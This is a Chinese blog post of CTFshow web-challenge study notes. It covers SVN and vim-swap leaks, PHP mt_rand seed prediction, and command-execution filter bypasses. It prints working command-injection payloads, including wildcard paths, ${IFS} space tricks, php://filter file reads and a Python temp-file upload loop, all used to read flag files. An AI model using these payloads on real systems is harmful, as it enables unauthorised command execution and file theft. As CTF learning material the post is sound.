CTFshow

Posted by wx_x on 2021-10-16
Words 1.8k and Reading Time 7 Minutes
Viewed Times

Ctfshow知识点记录

信息泄露

CTFShow-Web入门-信息收集 - airtail - 博客园 (cnblogs.com)

-svn泄露:ctfhub之svn信息泄露_tempulcc的博客-程序员宅基地_ctfhub svn泄露 - 程序员宅基地 (cxyzjd.com)

SVN是subversion的缩写,是一个开放源代码的版本控制系统,通过采用分支管理系统的高效管理,简而言之就是用于多个人共同开发同一个项目,实现共享资源,实现最终集中式的管理。s

原因:在服务器上布署代码时。如果是使用 svn checkout 功能来更新代码,而没有配置好目录访问权限,则会存在此漏洞。黑客利用此漏洞,可以下载整套网站的源代码。

在使用SVN管理本地代码过程中,会自动生成一个隐藏文件夹,其中包含重要的源代码信息。但一些网站管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使隐藏文件夹被暴露于外网环境,这使得渗透工程师可以借助其中包含版本信息追踪的网站文件,逐步摸清站点结构。

-Vim缓存:linux下的vim修改后保存的几个临时文件,.swp .swo .swn (三次意外退出)

-TXT记录:域名解析,在DNS记录里面,除了最常见的A记录,CNAME记录,MX记录,还有不常见的TXT记录。 大家一般不会使用TXT记录,其实TXT记录还是很有用的。 TXT记录用来保存域名的附加文本信息,TXT记录的内容按照一定的格式编写,最常用的是SPF格式,SPF用于登记某个域名拥有的用来外发邮件的所有ip地址

-目录扫描工具-dirsearch的kali安装:

更改python版本以及切换:kali linux安装python3 及如何切换版本 - todayisbeautyful - 博客园 (cnblogs.com)

使用:目录爆破工具dirsearch - the苍穹 - 博客园 (cnblogs.com)

-对于一些花里胡哨的网站,找不到突破口或者提示没有的时候,可以后台目录扫描dirsearch

-测试探针:实质上是通过网页编程语言(ASP、PHP、ASP.NET等)实现探测服务器敏感信息的脚本文件常用的4款PHP探针工具 查看WEB环境软件版本 | 老左笔记 (laozuo.org)

这个就是访问tz.php得到的界面

文本  描述已自动生成

爆破

!使用英文版bat_english,中文版会在一些爆破上出现格式错误,无法改正

Php随机数的伪随机数:

-mt_rand()存在的问题:PHP: mt_srand - Manual

由于mt_rand()的生成的随机数只跟seed和调用该函数的次数有关。举一个简单的例子来说明一下这个问题,假设使用mt_srand(1111111)进行了一次播种操作,接下来调用mt_rand()函数,第一次生成的数值为a,第二次生成的为b,第三次生成的为c。任何一个人拿到这样的一串代码,所执行的结果都是跟刚刚描述的一样。所以当你的seed数值被他人知道后,就可以预测出你接下来的数值是多少,这就是该函数的一个问题,他并不能起到一个真随机数的作用。

CTF| web篇之伪随机数 - FreeBuf网络安全行业门户

Web-24可以用脚本跑seed

图形用户界面, 文本  描述已自动生成

秋后整理

命令执行

干干货:命令执行绕过小技巧 - NPFS - 博客园 (cnblogs.com)

学习参考:CTF中的命令执行绕过方式 - FreeBuf网络安全行业门户

参考wp:(29条消息) CTFshow web入门——命令执行_小元砸的博客-CSDN博客

-正则表达式:正则表达式使用单个字符串来描述、匹配一系列匹配某个句法规则的字符串。

正则表达式 – 语法 | 菜鸟教程 (runoob.com)

Web29:参考PHP: preg_match - Manual

文本  描述已自动生成

-通配符:是一种特殊语句,主要有星号(*)和问号(?),用来模糊搜索文件。 当查找文件夹时,可以使用它来代替一个或多个真正字符;当不知道真正字符或者懒得输入完整名字时,常常使用通配符代替一个或多个真正的字符。

这一题可以通过这个直接解:?c=echo system(‘cat f*’);

Web30:常规绕过

文本  描述已自动生成

Web31-web32:均可以采用include结合伪协议进行包含读取

PHP: 支持的协议和封装协议 - Manual

有时候看着崭新的php专有名词,会陷入迷茫常阅读此:PHP: PHP 能做什么? - Manual

Php的include函数+伪协议php://filter

伪协议ctf参考:php伪协议的学习 - Na0H的神光棒存放地

?c=include”$_GET[url]”?>&url=php://filter/read=convert.base64-encode/resource=flag.phpphp://filter/read=convert.base64encode/resource=hhh.php使用了过滤器convert.base64-encode:将输入流进行base64编码;resource=hhh.php:数据源自文件hhh.php,也就是读取hhh.php文件

文本  描述已自动生成

Web40:需要时不时看看

无参数读文件和RCE总结 - FreeBuf网络安全行业门户

ctfshow-web入门命令执行-web40/web41(附python脚本) - Aninock - 博客园 (cnblogs.com)

web41:需要学习的很多,python的学习

ctfshow-web入门命令执行-web40/web41(附python脚本) - Aninock - 博客园 (cnblogs.com)

python导入模块:

file->setting->project python_saving->python Interpreter

文本  描述已自动生成

(30条消息) 无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)_羽的博客-CSDN博客(出题人)

Web43-web44

参考Linux命令大全(手册) – 真正好用的Linux命令在线查询网站 (linuxcool.com)

学习命令

均过滤了cat与flag与‘;’,所以构造payload:?c=tail -n 5 f*|| 即可

|| //只执行前面那条命令

Web45

所谓ifs绕过空格:空格使用${IFS}代替,也可以$IFS主要看大括号有没有被过滤

Web46-52

过滤了$,故不可使用ifs绕过,这时候使用linux中的nl命令是一个很好用的编号过滤工具。该命令可以读取 File 参数(缺省情况下标准输入),计算输入中的行号,将计算过的行号写入标准输出。

!传参注意不要保留空格,因为题目过滤空格

Web54:加强了过滤力度,可以使用通配符进行模糊查询,使用grep(强大的文本搜索工具:全面搜索正则表达式)绕过

Payload 1:c=/bin/c??${IFS}????????->c=/bin/cat${IFS}flag.php

Payload 2:?c=grep${IFS}’{‘${IFS}fl???php//看不嘿懂,特别是那个’{’,看官方文档也没看到这种写法

Web55:仍然是通配符应用

Payload 1:?c=/???/????64 ????.??? 意思是 /bin/base64 flag.php(前提是知道网站目录下包含base64)

Payload 2:?c=/???/???/????2 ????.??? 也就是/usr/bin/bzip2 flag.php(意思就是说我们先将flag.php文件进行压缩,然后再将其下载)

Payload 3:无字母getshel,有参考:无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)

也有脚本直接跑

import requests

while True:

url=”http://a88c904d-6cd4-4eba-b7e9-4c37e0cf3a7d.chall.ctf.show/?c=.+/???/????????[@-[]”

r = requests.post(url, files={“file”: (‘feng.txt’, b’cat flag.php’)})

if r.text.find(“flag”) > 0:

​ print(r.text)

​ break

web57:

payload 1:?c=grep${IFS}’fla’${IFS}fla??php

payload 2:?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~

$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~

$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~

$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~

$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~

$(())))$((~$(())))$((~$(())))))))

//数字绕过,为什么要求36啊》?


本博客所有文章除特别声明外,均采用CC BY-SA 4.0 协议 ,转载请注明出处!

...

...

00:00
00:00